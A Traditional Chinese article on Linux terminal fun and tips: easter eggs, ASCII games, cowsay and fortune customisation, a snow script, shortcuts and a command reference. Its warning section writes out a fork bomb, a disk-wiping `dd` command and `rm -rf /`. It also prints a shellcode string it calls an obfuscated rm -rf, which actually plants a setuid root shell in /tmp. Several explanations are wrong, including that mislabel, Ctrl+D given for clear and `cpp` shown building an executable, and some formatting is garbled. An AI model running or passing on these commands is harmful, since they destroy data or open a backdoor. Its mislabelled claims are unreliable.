Linux 系統除了強大的功能外,也充滿許多趣味性應用和值得探索的進階技巧。本文從趣味小遊戲切入,帶領讀者認識 Linux 終端機的另一面,例如在 Vim 和 Emacs 編輯器中尋找彩蛋,以及體驗 bastet、Dwarf Fortress 等文字模式遊戲。接著,文章進一步介紹如何擴充 Cowsay 的角色和 Fortune 的參照資料函式庫,讓使用者開發個人化的終端機環境,並分享瞭如何在終端機中模擬下雪效果的 Shell 指令碼。最後,文章也提醒使用者在非生產環境的虛擬機器上謹慎測試實驗性功能,並列舉了部分危險指令,以強化安全意識。

Linux 趣味與進階應用

Linux 不僅是一個強大的作業系統,更是一個充滿創意與樂趣的平台。無論你是初學者還是資深使用者,都能在 Linux 中發現許多有趣的工具和技巧。本文將介紹一些 Linux 中的趣味應用、進階技巧以及一些需要謹慎使用的實驗性功能。

趣味應用

Linux 提供了多種有趣的命令列工具,讓使用者可以在終端機中享受遊戲的樂趣。

1. 在 Vim 和 Emacs 中的彩蛋

Vim 和 Emacs 是兩款流行的文字編輯器,它們內建了一些有趣的彩蛋。

  • 在 Vim 中:
    • 輸入 :help 42,這是對道格拉斯·亞當斯(Douglas Adams)的小說《銀河便車》的致敬。
    • 輸入 :Ni!,這是對蒙提·派森(Monty Python)的致敬。
  • 在 Emacs 中:
    • 按下 Esc 鍵後輸入 X,然後在 M-x 提示符下輸入以下遊戲名稱:
      • snake:一個簡單的貪食蛇遊戲。
      • tetris:一個簡單的俄羅斯方塊遊戲。

2. 文字模式遊戲

Linux 終端機支援多種文字模式的遊戲,展現了命令列的靈活性。

  • bastet(Bastard Tetris):一個使用 ASCII 字元的俄羅斯方塊遊戲。

sudo apt-get install bastet

*   **Dwarf Fortress**:一個使用 ASCII 藝術的文字模式幻想遊戲。
    *   前往 [http://www.bay12games.com/dwarves/](http://www.bay12games.com/dwarves/) 下載並按照指示安裝。
*   **freesweep**:一個使用 ASCII 圖形的掃雷遊戲。
    ```bash
sudo apt-get install freesweep
  • nethack:一個單人 Rogue-like 地牢探索遊戲。

進階趣味應用

1. 擴充 Cowsay 的角色

Cowsay 是一個有趣的命令列工具,可以讓 ASCII 動物說出指定的文字。您可以透過新增 .COW 檔案來擴充可用的角色。

# 切換到家目錄
cd ~
# 從 GitHub 下載檔案
git clone https://github.com/paulkaefer/cowsay-files
# 將 .COW 檔案移動到正確的位置
sudo mv ~/cowsay-files/cows/*.cow /usr/share/cowsay/cows/
# 顯示其中一個新的角色
fortune | cowsay -f dalek

2. 擴充 Fortune 參照資料函式庫

您可以建立自訂的參照資料函式庫供 fortune 命令使用。首先,將引語放入一個文字檔案中,每個引語之間用 % 分隔。然後,將其轉換為 fortune 命令可以使用的二進位檔案。

# 切換到家目錄
cd ~
# 從 GitHub 下載 chucknorris 檔案
wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/plugins/chucknorris/fortunes/chucknorris
# 建立 fortune 命令使用的隨機存取字串檔案
strfile chucknorris
# 將 chucknorris 和 chucknorris.dat 複製到 fortune 目錄
sudo cp chucknorris* /usr/share/games/fortunes
# 測試新的 chucknorris 引語
fortune chucknorris | cowsay

3. 讓它下雪(Let It Snow)

您可以建立一個簡單的指令碼,讓終端機螢幕下雪。

echo \#\!/bin/bash > snow.sh; chmod u+x snow.sh; nano snow.sh

將以下內容複製到 snow.sh 檔案中:

#!/bin/bash
LINES=$(tput lines)
COLUMNS=$(tput cols)
declare -A snowflakes
declare -A lastflakes
clear

function move_flake() {
    i="$1"
    if [ "${snowflakes[$i]}" = "" ] || [ "${snowflakes[$i]}" = "$LINES" ]; then
        snowflakes[$i]=0
    else
        if [ "${lastflakes[$i]}" != "" ]; then
            printf "\033[%s;%sH \033[1;1H" ${lastflakes[$i]} $i
        fi
    fi
    printf "\033[%s;%sH*\033[1;1H" ${snowflakes[$i]} $i
    lastflakes[$i]=${snowflakes[$i]}
    snowflakes[$i]=$((${snowflakes[$i]}+1))
}

while :
do
    i=$(($RANDOM % $COLUMNS))
    move_flake $i
    for x in "${!lastflakes[@]}"
    do
        move_flake "$x"
    done
    # 只在太快時才使用此行來減慢速度
    #sleep 0.1
done

執行指令碼:

./snow.sh

實驗性功能

本文包含一些實驗性的程式碼,您可以在非生產環境的虛擬機器上測試這些命令。請謹慎操作,並在執行前建立虛擬機器的快照,以便在出現問題時能夠還原到先前的狀態。

  • 經典 Fork 炸彈:這是一個可能導致系統當機的惡作劇命令。

:(){ :|:& };:

    #### 內容解密:
    *   此命令定義了一個 shell 函式,該函式會不斷複製自身,迅速耗盡 CPU 時間和可用記憶體。
    *   這基本上是一種拒絕服務攻擊,會重複發生,直到電腦當機。

### 危險命令

以下命令可能會損壞您的系統,請勿在生產伺服器上執行。這些命令僅供參考。

*   **破壞儲存裝置上的資料**:
    ```bash
dd if=/dev/random of=/dev/sda
#### 內容解密:
*   此命令會將隨機資料寫入指定的儲存裝置,從而破壞其上的資料。
  • 刪除系統上的所有檔案

rm -rf / –no-preserve-root

    #### 內容解密:
    *   此命令會遞迴刪除根目錄下的所有檔案和目錄,且不會保留根目錄。
*   **混淆版本的 rm -rf 命令**:
    ```c
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68′′
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99′′
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7′′
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56′′
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31′′
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69′′
“\x6e\x2f\x73\x68\x00\x2d\x63\x00′′
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
#### 內容解密:
*   這是一個經過混淆處理的惡意程式碼,可能用於誘騙使用者破壞自己的資料。

Linux 命令快速參考

Linux 擁有數千個可用的命令,其中一些是預設包含在發行版中的,而其他則需要手動新增。任何下載的套件都可能包含一個非常強大的命令(如 busybox)或一組相關的命令(如 openssl)。

主控台鍵盤快捷鍵

以下是主控台鍵盤快捷鍵的列表,其中一些非常有用,而其他可能需要一些時間來瞭解其用途。

導航與編輯

  • Ctrl+A (或 Home):移動到行首。
  • Ctrl+B:向左移動一個字元。
  • Alt+B:向左移動一個單詞。
  • Ctrl+E (或 End):移動到行尾。
  • Ctrl+F:向右移動一個字元。
  • Alt+F:向右移動一個單詞。
  • Ctrl+H (或 Backspace):刪除遊標前的字元。
  • Ctrl+D (或輸入 exit):登出目前的工作階段。

命令控制

  • Ctrl+C:停止目前的命令。
  • Ctrl+Z:暫停目前的命令。使用 fg 還原到前景,或使用 bg 讓其在背景執行。
  • Ctrl+L:清除螢幕(類別似於 clear 命令)。
  • Ctrl+S:停止所有輸出到螢幕。
  • Ctrl+Q:還原被 Ctrl+S 停止的輸出。

剪貼簿操作

  • Ctrl+K:剪下游標後的行內容並新增到剪貼簿。
  • Ctrl+U:剪下游標前的行內容並新增到剪貼簿。
  • Ctrl+W:剪下游標前的單詞並新增到剪貼簿。
  • Ctrl+Y:貼上最後一次剪下的內容。

命令歷史與自動補全

  • Ctrl+P:切換到上一個命令(類別似於向上箭頭)。
  • Ctrl+N:切換到下一個命令(類別似於向下箭頭)。
  • Ctrl+R:搜尋命令歷史。
  • TAB 鍵:自動補全檔案名或目錄名。
  • Alt+(.):顯示前一個命令並提取其最後一個引數。

系統命令

以下是一些與作業系統相關的系統命令。許多這些命令非常強大,而其他一些則幾乎毫無用處。

硬體與系統資訊

  • arch:顯示機器的硬體名稱。
    • 示例:arch
    • 註解:與 uname -mecho $HOSTTYPE 相同。

程式管理

  • at:在指定的日期和時間執行命令。
    • 示例:at 9:30 AM 05/10/2025
    • 註解:與 crontabatqatrmbatch 命令相關。

資訊查詢

  • apropos:顯示與特定關鍵字相關的所有 man 手冊頁面。
    • 示例:apropos chroot
    • 註解:與 man 命令相關。

程式碼處理與解說

以下是一個簡單的 Bash 指令碼範例,用於檢查 ACPI 子系統是否可用:

#!/bin/bash

acpi_available
if [ $? -eq 0 ]; then
    echo "ACPI: Active"
else
    echo "ACPI: Inactive"
fi

內容解密:

  1. acpi_available 命令檢查 ACPI 子系統是否可用。如果可用,它傳回離開狀態 0,否則傳回非零值。
  2. if [ $? -eq 0 ] 陳述式檢查上一個命令的離開狀態。如果狀態為 0,則表示 ACPI 子系統是可用的,並輸出 “ACPI: Active”;否則輸出 “ACPI: Inactive”。

Linux 常用指令大全

Linux 系統提供了豐富的指令供使用者操作和管理系統,以下是一些常見的指令分類別和介紹。

工作管理與排程

atrm

  • 功能:刪除使用者的待執行 at 命令工作。
  • 範例atrm 4
  • 相關指令:at, atq

crontab

  • 功能:顯示目前使用者的所有 CRONTAB 檔案。
  • 範例crontab -l
  • 相關指令:at

ctrlaltdel

  • 功能:設定 Ctrl+Alt+Del 鍵組合的功能。
  • 範例ctrlaltdel hard
  • 類別:Shell

文書處理

base32

  • 功能:對資料進行 BASE32 編碼或解碼,並輸出到標準輸出。
  • 範例
    • 編碼:echo "This is a test..." | base32
    • 解碼:echo "KRUGS4ZANFZSAYJAORSXG5BOFYXAU===" | base32 -d
  • 相關指令:base64
  • 類別:Strings/Text

base64

  • 功能:對資料進行 BASE64 編碼或解碼,並輸出到標準輸出。
  • 範例
    • 編碼:echo "This is a test..." | base64
    • 解碼:echo "VGhpcyBpcyBhIHRlc3QuLi4K" | base64 -d
  • 相關指令:base32
  • 類別:Strings/Text

col

  • 功能:過濾輸入中的反向換行符號。
  • 範例man col | col -bx
  • 相關指令:col1
  • 類別:Strings/Text

colcrt

  • 功能:過濾 NROFF 輸出以供 CRT 預覽。
  • 範例tbl exum2.n | nroff -ms | colcrt - | more
  • 相關指令:nroff, groff, troff
  • 類別:Document Processing

colrm

  • 功能:從檔案中移除指定的欄位。
  • 範例ls -al | colrm 11 12
  • 相關指令:column
  • 類別:Strings/Text

column

  • 功能:將文字格式化為欄位輸出。
  • 範例
    • df -hPT | column -t
    • printf "PERM LINKS OWNER GROUP SIZE MONTH DAY "; printf "HH:MM/YEAR NAME\n"; ls -l | sed 1d | column -t
  • 相關指令:colrm
  • 類別:Strings/Text

系統與除錯

coredumpctl

  • 功能:檢索和處理儲存的核心轉儲和後設資料。
  • 範例
    • coredumpctl dump chrome
    • 列出所有名為 foo 的程式的核心轉儲:coredumpctl list foo
    • 對最新的核心轉儲呼叫 gdb:coredumpctl debug
    • 顯示 PID 為 6654 的處理程式的核心轉儲資訊:coredumpctl info 6654
    • 將 /usr/bin/bar 的最新核心轉儲提取到名為 bar.coredump 的檔案中:coredumpctl -o bar.coredump dump /usr/bin/bar
  • 相關指令:gdb
  • 類別:System/Troubleshooting

程式開發

cpp

  • 功能:C 編譯器自動使用的巨集處理器,用於在編譯前轉換程式。
  • 範例cpp -o hello hello.c; chmod a+x hello; ./hello
  • 相關指令:gcc
  • 類別:Programming

Shell 與內建指令

bind

  • 功能:顯示 BASH 中所有可用的鍵盤繫結。
  • 範例bind -P
  • 類別:Shell

builtin

  • 功能:執行 SHELL-BUILTIN 並帶有引數。
  • 範例cd1 () { builtin cd "$@"; pwd; }
  • 類別:Shell

busybox

  • 功能:嵌入式 Linux 的瑞士軍刀,包含多種實用工具。
  • 範例
    • busybox ls -l
    • busybox ping example.com
  • 類別:Shell

chroot

  • 功能:以新的根目錄執行命令或互動式 shell。
  • 範例chroot /home/jane /bin/bash
  • 類別:Shell

clear

  • 功能:清除控制檯視窗中的文字。
  • 範例clear
  • 快速鍵: Ctrl+D
  • 內容解密:

    • 該指令主要用於清除終端機畫面上的文字,令畫面回復到初始狀態,但不會影響目前的工作或歷史命令記錄。
    • 這是一種方便的方式,讓使用者在需要時重新整理畫面。

compgen

  • 功能:根據選項顯示可能的補全結果。
  • 範例: compgen -c tree
    • 內容解密:

      • 該命令主要用於顯示可能的命令補全結果,幫助使用者在輸入命令時快速找到合適的選項或命令名稱。
      • -c 表示列出與 tree 相關的命令,對於需要查詢特定命令補全的使用者非常有用。

command

  • 用於執行命令或顯示命令的資訊。例如,執行一個名為 echo 的命令,可以使用 command echo Hello。這是 Bash 的內建命令,屬於 Shell 分類別。

內容解密:

- `command` 命令的主要作用是確保執行的是一個外部命令或內建命令,而不會被 shell 函式遮蔽。 
- 這有助於在編寫指令碼時明確呼叫所需的命令,避免因為同名函式而導致的意外行為。

compopt

  • 用於修改或顯示補全選項。例如,設定補全時不自動新增空格,可以使用 compopt -o nospace。這是 Bash 的內建命令,屬於 Shell 分類別。
#### 內容解密:
- `compopt` 命令主要用於調整補全功能的行為,例如控制是否在補全後新增空格。 
- 正確組態這些選項能夠提升命令輸入的效率和準確性,特別是在需要頻繁使用補全功能時。

時間與數學運算

bc

  • 一個支援指令碼的精密計算器。例如,計算 12+20 的結果,可以使用 echo "12+20" | bc。這屬於 Math/Time 分類別,與 dc 命令相關。

內容解密:

- `bc` 命令是一個任意精確度的計算器語言,支援變數、條件陳述式和迴圈等特性,能夠進行複雜的數學運算。 
- 經常被用於需要高精確度計算的場合,例如金融或科學計算中。

cal

  • 用於顯示當前月份的日曆。例如,顯示 2025 年的日曆,可以使用 cal 2025。這屬於 Math/Time 分類別,是 util-linux 軟體包的一部分。

內容解密:

- `cal` 命令提供了一個簡單的方式來檢視指定年份或月份的日曆,有助於快速查詢日期。 
- 它支援多種格式和選項,能夠滿足不同使用者的需求。

虛擬終端管理

chvt

  • 用於切換前台虛擬終端。例如,切換到第 9 虛擬終端,可以使用 chvt 9。這屬於 Shell 分類別。

內容解密:

- `chvt` 命令允許使用者在不同的虛擬終端之間切換,這在需要同時進行多個任務時非常有用。 
- 虛擬終端提供了一個靈活的工作環境,能夠提高多工處理的能力。